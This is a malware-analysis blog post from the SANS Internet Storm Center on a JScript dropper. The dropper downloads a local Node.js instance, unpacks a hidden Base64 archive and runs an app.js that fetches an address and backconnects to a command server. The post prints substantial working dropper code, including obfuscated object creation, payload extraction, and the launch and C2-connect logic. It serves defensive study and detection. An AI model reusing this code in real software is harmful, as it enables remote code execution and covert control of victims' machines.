Threat Level: green Handler on Duty: Johannes Ullrich

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Malware Dropping a Local Node.js Instance

Published: 2019-08-30
Last Updated: 2019-08-30 09:11:15 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Yesterday, I wrote a diary about misused Microsoft tools[1]. I just found another interesting piece of code. This time the malware is using Node.js[2]. The malware is a JScript (SHA256:1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c)[3]

First, the malware tries to install a local Node.js instance:

nodeurl = 'https://nodejs.org/dist/latest-v10.x/win-x86/node.exe';
foldername = 'SystemConfigInfo000';
...
try {
if(FileExists(wsh.CurrentDirectory+'\\'+foldername+'\\'+nodename)!=true)
{
    
    nodedwnloaded = false;
    for(var i=1;i<=5;i++){
        try{
            m.open("GET", nodeurl, false);
            m.send(null);
            if(m.status==200)
            {
                nodedwnloaded = true;
                break;
            }
        }
        catch(e)
        {
            report('nodedownerr');
            WScript.Sleep(5*60*1000);
            WScript.Quit(2);
        }
    }
    if(nodedwnloaded)
    {
        try{
            xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m');
            xa.open();
            xa.type=1;
            xa.write(m.responseBody);
            xa.position=0;
            xa.saveToFile(wsh.CurrentDirectory+'\\'+foldername+'\\'+nodename, 2);
            xa.close();
        }
        catch(err5){
            report('nodesave');
            WScript.Sleep(5*60*1000);
            WScript.Quit(5);
            
        }
    }
    else{
    report('nodedownload1');
    WScript.Sleep(5*60*1000);
    WScript.Quit(11);
    }
}
}

The Javascript application is part of the original script and is Based64 encode in a comment:

try {
    if(FileExists(wsh.CurrentDirectory+'\\'+foldername+'\\app.js')!=true)
    {
        var arch = DecodeBase64(res2());
        if(true)
        {
            try{
                xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m');
                xa.open();
                xa.type=1;
                xa.write(arch);
                xa.position=0;
                xa.saveToFile(wsh.CurrentDirectory+'\\'+foldername+'\\'+archname, 2);
                xa.close();
            }
    ...

The function res2() extract the chunk of data:

function res2()
{
Function.prototype.GetResource = function (ResourceName)
{
    if (!this.Resources) 
    {
        var UnNamedResourceIndex = 0, _this = this;
        this.Resources = {};
        
        function f(match, resType, Content)
        {
            _this.Resources[(resType=="[[")?UnNamedResourceIndex++:resType.slice(1,-1)] = Content; 
        }
        this.toString().replace(/\/\*(\[(?:[^\[]+)?\[)((?:[\r\n]|.)*?)\]\]\*\//gi, f);
    }
    
    return this.Resources[ResourceName];
}
/*[arch2[UEsDBBQAAAAAAMSpgk4AAAAAAAAAAAAAAAAeAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvUEsDBBQAAAAAAMSpgk4A
AAAAAAAAAAAAAAAiAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvbGliL1BLAwQUAAAACACaU9BKccRGp8QCAADPBgAAKgAAAG5vZ
GVfbW9kdWxlcy9zb2NrZXQuaW8tY2xpZW50L2xpYi9pbmRleC5qc4VVTU8bMRC9768YDmUTRHfvRJEqVT1UKqgShx4QUhzvJHHZtRd/QCnkv3
fG3nU2gkIuiWfefL15dor67KyAM7g0TWgRGuxRN6ilQleRvS6KB2Eh2BaWYPE+KIuzsqrJUM4X0dcL69BO3c7IO/
...

Let's decode and have a look at this JavaScript code:

$ file res2.decoded
res2.decoded: Zip archive data, at least v2.0 to extract
$ unzip res2.decoded
Archive:  res2.decoded
   creating: node_modules/socket.io-client/
   creating: node_modules/socket.io-client/lib/
  inflating: node_modules/socket.io-client/lib/index.js
  inflating: node_modules/socket.io-client/lib/manager.js
  inflating: node_modules/socket.io-client/lib/on.js
  ...
  creating: node_modules/socket.io-client/node_modules/yeast/
  inflating: node_modules/socket.io-client/node_modules/yeast/index.js
  inflating: node_modules/socket.io-client/node_modules/yeast/LICENSE
  inflating: node_modules/socket.io-client/node_modules/yeast/package.json
  inflating: node_modules/socket.io-client/node_modules/yeast/README.md
  inflating: node_modules/socket.io-client/package.json
  inflating: node_modules/socket.io-client/README.md
  inflating: app.js
  inflating: constants.js
  inflating: socks4a.js

Basically, this app is launched with an argument  (an IP address):

try{
    WScript.Sleep(5000);
    var res=wsh['R'+'un']('.\\'+nodename+' .\\ap'+'p.js '+addr, 0, true);
    report('res='+res);
}
catch(errobj1)
{
    report('runerr');
    WScript.Sleep(5*60*1000);
    WScript.Quit(16);
}

'addr' is a Base64-encoded variable. In the sample that I found, it's an RFC1918 IP.

It first performs an HTTP GET request to http://<ip>/getip/. The result is used to call a backconnect() function:

http.get(url,(res)=>{
        let rawData = '';
        res.on('data', (chunk) => { rawData += chunk; });
        res.on('end', () => {
                backconnect('http://'+rawData.toString()+'/');
        });
});

The application seems to implement a C2-like communication but I still need to check the code deeper. Why is the IP address a private one? I don't know. Maybe the sample was uploaded to VT during the development? It was developed for a red-teaming exercise?

Besides the Node.js local instance, the script also drops WinDivert.dll and WinDivert32.dll DLL files and inject a shellcode via PowerShell:

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278/
[2] https://nodejs.org/en/about/
[3] https://www.virustotal.com/gui/file/1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
Diary Archives